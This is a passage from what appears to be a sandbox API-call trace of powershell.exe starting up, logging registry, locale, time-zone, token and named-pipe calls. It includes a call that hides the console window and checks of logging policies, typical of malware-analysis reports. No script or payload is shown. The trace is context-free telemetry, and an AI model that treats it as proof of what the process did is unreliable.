dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0112.075] CoTaskMemFree (pv=0x0) [0112.076] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x250451dba8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x250451dba0 | out: pulNumLanguages=0x250451dba8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x250451dba0) returned 1 [0112.076] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x250451dba8, pwszLanguagesBuffer=0x1cbda625c50, pcchLanguagesBuffer=0x250451dba0 | out: pulNumLanguages=0x250451dba8, pwszLanguagesBuffer=0x1cbda625c50, pcchLanguagesBuffer=0x250451dba0) returned 1 [0112.084] GetUserDefaultLocaleName (in: lpLocaleName=0x250451dac0, cchLocaleName=16 | out: lpLocaleName="ja-JP") returned 6 [0112.108] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x250451c9f0, nSize=0x80 | out: lpBuffer="눀?Nj") returned 0x0 [0112.110] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x250451c9f0, nSize=0x80 | out: lpBuffer="嗐봢筢") returned 0x0 [0112.278] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x250451c1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0112.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250451c690) returned 1 [0112.279] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x250451c770 | out: lpFileInformation=0x250451c770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0112.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250451c650) returned 1 [0113.203] CoCreateGuid (in: pguid=0x250451caf8 | out: pguid=0x250451caf8*(Data1=0x4d8a35a6, Data2=0x1ec7, Data3=0x43b7, Data4=([0]=0xaf, [1]=0x35, [2]=0xee, [3]=0x72, [4]=0x9b, [5]=0xc9, [6]=0x62, [7]=0xe5))) returned 0x0 [0113.296] CoCreateGuid (in: pguid=0x250451caf8 | out: pguid=0x250451caf8*(Data1=0x84907b0b, Data2=0xed53, Data3=0x4166, Data4=([0]=0x80, [1]=0xa1, [2]=0x87, [3]=0x9c, [4]=0xcb, [5]=0x5c, [6]=0xf1, [7]=0x25))) returned 0x0 [0113.296] CoCreateGuid (in: pguid=0x250451caf8 | out: pguid=0x250451caf8*(Data1=0x584cd61f, Data2=0x9177, Data3=0x4ddc, Data4=([0]=0xbd, [1]=0x9e, [2]=0x41, [3]=0xd2, [4]=0xe3, [5]=0x8, [6]=0x6a, [7]=0x3d))) returned 0x0 [0113.296] CoCreateGuid (in: pguid=0x250451caf8 | out: pguid=0x250451caf8*(Data1=0xc8cc15f4, Data2=0x579c, Data3=0x4b9a, Data4=([0]=0xb1, [1]=0xcc, [2]=0x1f, [3]=0x35, [4]=0xcb, [5]=0x94, [6]=0xca, [7]=0x84))) returned 0x0 [0113.296] CoCreateGuid (in: pguid=0x250451caf8 | out: pguid=0x250451caf8*(Data1=0xce1a5965, Data2=0x37d0, Data3=0x4b9b, Data4=([0]=0xa0, [1]=0x3b, [2]=0x10, [3]=0xd2, [4]=0xff, [5]=0xdc, [6]=0xad, [7]=0xa4))) returned 0x0 [0113.296] CoCreateGuid (in: pguid=0x250451caf8 | out: pguid=0x250451caf8*(Data1=0x139a3168, Data2=0xac86, Data3=0x4020, Data4=([0]=0x90, [1]=0x55, [2]=0x91, [3]=0x7d, [4]=0xde, [5]=0xd1, [6]=0x3a, [7]=0x54))) returned 0x0 [0113.296] CoCreateGuid (in: pguid=0x250451caf8 | out: pguid=0x250451caf8*(Data1=0x79a25145, Data2=0xfec1, Data3=0x4c6b, Data4=([0]=0xb5, [1]=0x94, [2]=0x41, [3]=0xec, [4]=0x67, [5]=0xbb, [6]=0x85, [7]=0x93))) returned 0x0 [0113.296] CoCreateGuid (in: pguid=0x250451caf8 | out: pguid=0x250451caf8*(Data1=0xd2574bf7, Data2=0xcdaf, Data3=0x4d6a, Data4=([0]=0x87, [1]=0xd1, [2]=0xff, [3]=0xf3, [4]=0x5, [5]=0x18, [6]=0xc8, [7]=0xfc))) returned 0x0 [0113.296] CoCreateGuid (in: pguid=0x250451caf8 | out: pguid=0x250451caf8*(Data1=0xb145a5dd, Data2=0xba82, Data3=0x4f5f, Data4=([0]=0x9f, [1]=0x6e, [2]=0x14, [3]=0x49, [4]=0x68, [5]=0xc6, [6]=0x21, [7]=0x46))) returned 0x0 [0113.296] CoCreateGuid (in: pguid=0x250451caf8 | out: pguid=0x250451caf8*(Data1=0x2083a02d, Data2=0xf5b3, Data3=0x4d89, Data4=([0]=0x9a, [1]=0xa9, [2]=0x3a, [3]=0x42, [4]=0x83, [5]=0x1a, [6]=0xa0, [7]=0xc9))) returned 0x0 [0113.296] CoCreateGuid (in: pguid=0x250451caf8 | out: pguid=0x250451caf8*(Data1=0xbaadc26c, Data2=0xd9f8, Data3=0x4c81, Data4=([0]=0xa1, [1]=0xad, [2]=0xfc, [3]=0xe5, [4]=0xdb, [5]=0xf9, [6]=0x8c, [7]=0x35))) returned 0x0 [0113.296] CoCreateGuid (in: pguid=0x250451caf8 | out: pguid=0x250451caf8*(Data1=0x43b8f0ac, Data2=0x8736, Data3=0x48bd, Data4=([0]=0xba, [1]=0x1e, [2]=0x74, [3]=0xbb, [4]=0xa5, [5]=0xf4, [6]=0x66, [7]=0x9a))) returned 0x0 [0113.297] CoCreateGuid (in: pguid=0x250451caf8 | out: pguid=0x250451caf8*(Data1=0xcd813119, Data2=0xd1da, Data3=0x4f71, Data4=([0]=0x8f, [1]=0x41, [2]=0xb9, [3]=0xd3, [4]=0xda, [5]=0xb3, [6]=0x1c, [7]=0xbb))) returned 0x0 [0113.297] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x250451c690, nSize=0xfa | out: lpBuffer="\x01") returned 0x0 [0113.401] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d988 | out: phkResult=0x250451d988*=0x5d4) returned 0x0 [0113.401] RegQueryValueExW (in: hKey=0x5d4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451d9d8, lpData=0x0, lpcbData=0x250451d9d0*=0x0 | out: lpType=0x250451d9d8*=0x1, lpData=0x0, lpcbData=0x250451d9d0*=0x56) returned 0x0 [0113.401] RegQueryValueExW (in: hKey=0x5d4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451d9d8, lpData=0x1cbda648750, lpcbData=0x250451d9d0*=0x56 | out: lpType=0x250451d9d8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250451d9d0*=0x56) returned 0x0 [0113.401] RegCloseKey (hKey=0x5d4) returned 0x0 [0113.405] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x250451c740, nSize=0xfa | out: lpBuffer="耀") returned 0x0 [0113.411] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d908 | out: phkResult=0x250451d908*=0x0) returned 0x2 [0113.412] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d908 | out: phkResult=0x250451d908*=0x0) returned 0x2 [0114.106] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0114.106] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0114.197] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d988 | out: phkResult=0x250451d988*=0x5d4) returned 0x0 [0114.197] RegQueryValueExW (in: hKey=0x5d4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451d9d8, lpData=0x0, lpcbData=0x250451d9d0*=0x0 | out: lpType=0x250451d9d8*=0x1, lpData=0x0, lpcbData=0x250451d9d0*=0x56) returned 0x0 [0114.197] RegQueryValueExW (in: hKey=0x5d4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451d9d8, lpData=0x1cbda651e80, lpcbData=0x250451d9d0*=0x56 | out: lpType=0x250451d9d8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250451d9d0*=0x56) returned 0x0 [0114.197] RegCloseKey (hKey=0x5d4) returned 0x0 [0114.662] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2954a20 [0114.662] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x1cbf2954a20 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x0 [0114.664] CoTaskMemFree (pv=0x1cbf2954a20) [0114.664] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1e [0114.664] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x1e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0114.665] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0114.665] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", nBufferLength=0x3b, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", lpFilePart=0x0) returned 0x3a [0114.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250451dab0) returned 1 [0114.666] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell"), fInfoLevelId=0x0, lpFileInformation=0x250451db90 | out: lpFileInformation=0x250451db90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3ec8443, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xdc924418, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0114.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250451da70) returned 1 [0114.672] CoCreateGuid (in: pguid=0x250451db68 | out: pguid=0x250451db68*(Data1=0x9a033369, Data2=0x6a2b, Data3=0x4006, Data4=([0]=0xbe, [1]=0xf5, [2]=0xec, [3]=0x2e, [4]=0xd7, [5]=0xca, [6]=0x9, [7]=0x6c))) returned 0x0 [0114.680] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d918 | out: phkResult=0x250451d918*=0x0) returned 0x2 [0114.680] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d918 | out: phkResult=0x250451d918*=0x0) returned 0x2 [0114.791] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x250451c700, nSize=0xfa | out: lpBuffer="") returned 0x0 [0114.796] CreateFileW (lpFileName="CONOUT$" (normalized: "\\device\\condrv\\currentout"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8 [0114.960] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5b8, lpConsoleScreenBufferInfo=0x250451da78 | out: lpConsoleScreenBufferInfo=0x250451da78) returned 1 [0115.098] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5b8, lpConsoleScreenBufferInfo=0x250451da78 | out: lpConsoleScreenBufferInfo=0x250451da78) returned 1 [0115.251] GetConsoleMode (in: hConsoleHandle=0x5b8, lpMode=0x250451db40 | out: lpMode=0x250451db40) returned 1 [0115.412] SetConsoleMode (hConsoleHandle=0x5b8, dwMode=0x7) returned 1 [0115.473] GetConsoleMode (in: hConsoleHandle=0x5b8, lpMode=0x250451db40 | out: lpMode=0x250451db40) returned 1 [0115.814] GetConsoleWindow () returned 0x80370 [0115.877] ShowWindow (hWnd=0x80370, nCmdShow=0) returned 0 [0115.880] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ConsoleSessionConfiguration", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451da38 | out: phkResult=0x250451da38*=0x0) returned 0x2 [0115.881] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ConsoleSessionConfiguration", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451da38 | out: phkResult=0x250451da38*=0x0) returned 0x2 [0115.881] GetConsoleCP () returned 0x1b5 [0115.915] GetCurrentConsoleFontEx (in: hConsoleOutput=0x5b8, bMaximumWindow=0, lpConsoleCurrentFontEx=0x250451da88 | out: lpConsoleCurrentFontEx=0x250451da88) returned 1 [0115.927] SetConsoleCtrlHandler (HandlerRoutine=0x1cbf27d47fc, Add=1) returned 1 [0115.928] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0115.928] GetFileType (hFile=0x50) returned 0x2 [0115.929] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x250451dba8 | out: lpMode=0x250451dba8) returned 1 [0115.944] GetStdHandle (nStdHandle=0xfffffff6) returned 0x4c [0115.944] GetFileType (hFile=0x4c) returned 0x2 [0115.944] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x250451db38 | out: lpMode=0x250451db38) returned 1 [0115.959] EtwEventActivityIdControl () returned 0x0 [0115.964] CoCreateGuid (in: pguid=0x250451d8f8 | out: pguid=0x250451d8f8*(Data1=0xcc1e868, Data2=0xc159, Data3=0x467e, Data4=([0]=0xaf, [1]=0xa5, [2]=0x8e, [3]=0x8d, [4]=0x35, [5]=0xbc, [6]=0xa6, [7]=0x38))) returned 0x0 [0115.972] EtwEventActivityIdControl () returned 0x0 [0115.977] EtwEventRegister () returned 0x0 [0115.977] EtwEventSetInformation () returned 0x0 [0115.980] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2955900 [0115.980] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1cbf2955900 | out: pszPath="C:\\Program Files") returned 0x0 [0115.980] CoTaskMemFree (pv=0x1cbf2955900) [0115.980] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x11 [0115.980] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x11, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0115.980] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x250451c560, nSize=0xfa | out: lpBuffer="") returned 0x0 [0115.985] GetCurrentProcessId () returned 0x6d0 [0115.992] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x6d0) returned 0x5bc [0115.993] GetProcessTimes (in: hProcess=0x5bc, lpCreationTime=0x1cbda689ae0, lpExitTime=0x1cbda689ae8, lpKernelTime=0x1cbda689af0, lpUserTime=0x1cbda689af8 | out: lpCreationTime=0x1cbda689ae0, lpExitTime=0x1cbda689ae8, lpKernelTime=0x1cbda689af0, lpUserTime=0x1cbda689af8) returned 1 [0115.993] CloseHandle (hObject=0x5bc) returned 1 [0115.995] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x250451b4c8 | out: pTimeZoneInformation=0x250451b4c8) returned 0x2 [0116.012] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451b498 | out: phkResult=0x250451b498*=0x5bc) returned 0x0 [0116.015] RegQueryValueExW (in: hKey=0x5bc, lpValueName="TZI", lpReserved=0x0, lpType=0x250451b4d8, lpData=0x0, lpcbData=0x250451b4d0*=0x0 | out: lpType=0x250451b4d8*=0x3, lpData=0x0, lpcbData=0x250451b4d0*=0x2c) returned 0x0 [0116.015] RegQueryValueExW (in: hKey=0x5bc, lpValueName="TZI", lpReserved=0x0, lpType=0x250451b4d8, lpData=0x1cbda68a830, lpcbData=0x250451b4d0*=0x2c | out: lpType=0x250451b4d8*=0x3, lpData=0x1cbda68a830*, lpcbData=0x250451b4d0*=0x2c) returned 0x0 [0116.016] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451b298 | out: phkResult=0x250451b298*=0x0) returned 0x2 [0116.017] RegQueryValueExW (in: hKey=0x5bc, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x250451b468, lpData=0x0, lpcbData=0x250451b460*=0x0 | out: lpType=0x250451b468*=0x1, lpData=0x0, lpcbData=0x250451b460*=0x20) returned 0x0 [0116.017] RegQueryValueExW (in: hKey=0x5bc, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x250451b468, lpData=0x1cbda68ad78, lpcbData=0x250451b460*=0x20 | out: lpType=0x250451b468*=0x1, lpData="@tzres.dll,-320", lpcbData=0x250451b460*=0x20) returned 0x0 [0116.017] RegQueryValueExW (in: hKey=0x5bc, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x250451b468, lpData=0x0, lpcbData=0x250451b460*=0x0 | out: lpType=0x250451b468*=0x1, lpData=0x0, lpcbData=0x250451b460*=0x20) returned 0x0 [0116.017] RegQueryValueExW (in: hKey=0x5bc, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x250451b468, lpData=0x1cbda68ade8, lpcbData=0x250451b460*=0x20 | out: lpType=0x250451b468*=0x1, lpData="@tzres.dll,-322", lpcbData=0x250451b460*=0x20) returned 0x0 [0116.017] RegQueryValueExW (in: hKey=0x5bc, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x250451b468, lpData=0x0, lpcbData=0x250451b460*=0x0 | out: lpType=0x250451b468*=0x1, lpData=0x0, lpcbData=0x250451b460*=0x20) returned 0x0 [0116.017] RegQueryValueExW (in: hKey=0x5bc, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x250451b468, lpData=0x1cbda68ae58, lpcbData=0x250451b460*=0x20 | out: lpType=0x250451b468*=0x1, lpData="@tzres.dll,-321", lpcbData=0x250451b460*=0x20) returned 0x0 [0116.021] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2952820 [0116.021] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1cbf2952820 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0116.021] CoTaskMemFree (pv=0x1cbf2952820) [0116.021] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2955900 [0116.021] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x250451b4b0, pwszFileMUIPath=0x1cbf2955900, pcchFileMUIPath=0x250451b4b8, pululEnumerator=0x250451b4a8 | out: pwszLanguage=0x0, pcchLanguage=0x250451b4b0, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x250451b4b8, pululEnumerator=0x250451b4a8) returned 1 [0116.022] CoTaskMemFree (pv=0x0) [0116.022] CoTaskMemFree (pv=0x1cbf2955900) [0116.024] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1cbda130001 [0116.025] CoTaskMemAlloc (cb=0x3ec) returned 0x1cbf28192c0 [0116.025] LoadStringW (in: hInstance=0x1cbda130001, uID=0x140, lpBuffer=0x1cbf28192c0, cchBufferMax=500 | out: lpBuffer="(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna") returned 0x3c [0116.025] CoTaskMemFree (pv=0x1cbf28192c0) [0116.026] FreeLibrary (hLibModule=0x1cbda130001) returned 1 [0116.027] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf29556e0 [0116.027] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1cbf29556e0 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0116.027] CoTaskMemFree (pv=0x1cbf29556e0) [0116.027] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2953b40 [0116.027] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x250451b4b0, pwszFileMUIPath=0x1cbf2953b40, pcchFileMUIPath=0x250451b4b8, pululEnumerator=0x250451b4a8 | out: pwszLanguage=0x0, pcchLanguage=0x250451b4b0, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x250451b4b8, pululEnumerator=0x250451b4a8) returned 1 [0116.028] CoTaskMemFree (pv=0x0) [0116.028] CoTaskMemFree (pv=0x1cbf2953b40) [0116.028] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1cbda130001 [0116.028] CoTaskMemAlloc (cb=0x3ec) returned 0x1cbf28192c0 [0116.029] LoadStringW (in: hInstance=0x1cbda130001, uID=0x142, lpBuffer=0x1cbf28192c0, cchBufferMax=500 | out: lpBuffer="W. Europe Standard Time") returned 0x17 [0116.029] CoTaskMemFree (pv=0x1cbf28192c0) [0116.029] FreeLibrary (hLibModule=0x1cbda130001) returned 1 [0116.029] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf29521c0 [0116.029] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1cbf29521c0 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0116.029] CoTaskMemFree (pv=0x1cbf29521c0) [0116.029] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf29521c0 [0116.029] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x250451b4b0, pwszFileMUIPath=0x1cbf29521c0, pcchFileMUIPath=0x250451b4b8, pululEnumerator=0x250451b4a8 | out: pwszLanguage=0x0, pcchLanguage=0x250451b4b0, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x250451b4b8, pululEnumerator=0x250451b4a8) returned 1 [0116.030] CoTaskMemFree (pv=0x0) [0116.030] CoTaskMemFree (pv=0x1cbf29521c0) [0116.030] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1cbda130001 [0116.031] CoTaskMemAlloc (cb=0x3ec) returned 0x1cbf28192c0 [0116.031] LoadStringW (in: hInstance=0x1cbda130001, uID=0x141, lpBuffer=0x1cbf28192c0, cchBufferMax=500 | out: lpBuffer="W. Europe Daylight Time") returned 0x17 [0116.031] CoTaskMemFree (pv=0x1cbf28192c0) [0116.031] FreeLibrary (hLibModule=0x1cbda130001) returned 1 [0116.032] RegCloseKey (hKey=0x5bc) returned 0x0 [0116.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cbea6019a0, Length=0x29390, ResultLength=0x250451b930 | out: SystemInformation=0x1cbea6019a0, ResultLength=0x250451b930*=0x26b40) returned 0x0 [0116.060] CreateWellKnownSid (in: WellKnownSidType=0x1a, DomainSid=0x0, pSid=0x1cbda6cb2c8, cbSid=0x250451b900 | out: pSid=0x1cbda6cb2c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), cbSid=0x250451b900) returned 1 [0116.061] GetCurrentProcess () returned 0xffffffffffffffff [0116.061] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250451b808 | out: TokenHandle=0x250451b808*=0x5bc) returned 1 [0116.062] GetTokenInformation (in: TokenHandle=0x5bc, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x250451b868 | out: TokenInformation=0x0, ReturnLength=0x250451b868) returned 0 [0116.062] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1cbf28cb9b0 [0116.062] GetTokenInformation (in: TokenHandle=0x5bc, TokenInformationClass=0x8, TokenInformation=0x1cbf28cb9b0, TokenInformationLength=0x4, ReturnLength=0x250451b868 | out: TokenInformation=0x1cbf28cb9b0, ReturnLength=0x250451b868) returned 1 [0116.062] LocalFree (hMem=0x1cbf28cb9b0) returned 0x0 [0116.062] DuplicateTokenEx (in: hExistingToken=0x5bc, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x250451b8c8 | out: phNewToken=0x250451b8c8*=0x5f0) returned 1 [0116.062] CheckTokenMembership (in: TokenHandle=0x5f0, SidToCheck=0x1cbda6cba28*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x250451b8d0 | out: IsMember=0x250451b8d0) returned 1 [0116.062] CloseHandle (hObject=0x5f0) returned 1 [0116.062] GetCurrentProcess () returned 0xffffffffffffffff [0116.062] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250451b808 | out: TokenHandle=0x250451b808*=0x5f0) returned 1 [0116.063] GetTokenInformation (in: TokenHandle=0x5f0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x250451b908 | out: TokenInformation=0x0, ReturnLength=0x250451b908) returned 0 [0116.063] LocalAlloc (uFlags=0x0, uBytes=0x2c) returned 0x1cbf27ebee0 [0116.063] GetTokenInformation (in: TokenHandle=0x5f0, TokenInformationClass=0x1, TokenInformation=0x1cbf27ebee0, TokenInformationLength=0x2c, ReturnLength=0x250451b908 | out: TokenInformation=0x1cbf27ebee0, ReturnLength=0x250451b908) returned 1 [0116.064] LocalFree (hMem=0x1cbf27ebee0) returned 0x0 [0116.069] CreateNamedPipeW (lpName="\\\\.\\pipe\\PSHost.132463220651288566.1744.DefaultAppDomain.powershell" (normalized: "\\device\\namedpipe\\pshost.132463220651288566.1744.defaultappdomain.powershell"), dwOpenMode=0x40080003, dwPipeMode=0x6, nMaxInstances=0x1, nOutBufferSize=0x8000, nInBufferSize=0x8000, nDefaultTimeOut=0x0, lpSecurityAttributes=0x250451b810) returned 0x5ec [0116.141] GetFileType (hFile=0x5ec) returned 0x3 [0116.271] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2953b40 [0116.271] 